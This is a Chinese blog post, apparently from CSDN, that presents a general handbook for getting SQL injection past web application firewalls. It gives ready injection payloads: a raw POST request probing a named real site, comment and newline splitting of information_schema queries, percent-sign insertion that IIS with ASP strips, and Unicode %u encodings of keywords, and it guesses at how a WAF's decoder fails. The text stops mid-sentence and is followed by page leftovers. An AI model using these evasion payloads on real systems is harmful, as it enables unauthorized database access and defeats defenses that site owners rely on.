注入绕waf理论手册(通用)

bypass waf相关

基本上bypass waf存在以下4种特性的绕过,如果你能熟悉每种产品的特性,那么就无敌了、

  1. Web容器的特性
  2. Web应用层的问题
  3. WAF自身的问题(本次LIVE重点)
  4. 数据库的一些特性

2、绕过的时候,可以使用post传get包

POST /aboutus.php?classid=35/**/and/**/1=2 HTTP/1.1
Host: pjhqy.com
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1 text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 2


下面记得有两个回车,这样才是一个正常的Post包

3、函数分割之间可以加注释或者换行

concat//()
information_schema/
/./**/TABLES
information_schema%0a.%0aTABLES
image.png
[

](https://blog.csdn.net/qq_23936389/article/details/81256020)

WEB容器-中间件的特性绕过

1、iis+asp的特性可以进行组合绕过

在关键词中间添加%
例如s%elect

在WAF层,获取到的id参数值为 1 union all se%lect 1,2,3,4 fro%m adm%in ,此时waf因为%的分隔,
无法检测出关键字 select from 等
但是因为IIS的特性,id获取的实际参数就变为 1 union all select 1,2,3,4 from admin ,从而绕过了waf。

这个特性仅在iis+asp上 asp.net/aspx环境并不存在。
旧版本yxlink可绕

2、unicode编码 IIS中间件可识别

利用unicode编码,先转成\形式,然后再进行替换,这样浏览器找的时候,先会进行一层Url解码,最后拼接到数据库的时候,就还原成原来的了
<\u003E
1 union all %u0053elect 1,2,3,4 %u0066rom admin 是可以成功被解析的
http://blog.sina.com.cn/s/blog_85e506df0102vo9s.html
s%u0065lect->select
s%u00f0lect->select

也正因为这个特性在iis里,因此在使用aspx的时候可以尝试使用该方法bypass,例如yxlink

这里对waf解码unicode的过程进行猜测
寻找百分号 -> 判断百分号及其所带字符是否符合unicode编码格式(%u000a) -> 符合则直接进行编码
很明显这里waf忽略了检测符合编码的字符是否能成功解码的过程

那么传入的payload: 【union--%u+回车+select】 在waf的此流程下则被编码为:
【union --被waf错认为可解码的unicode编码ect】 很显然waf将 【%u+回车+sel】这个
  • 19
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值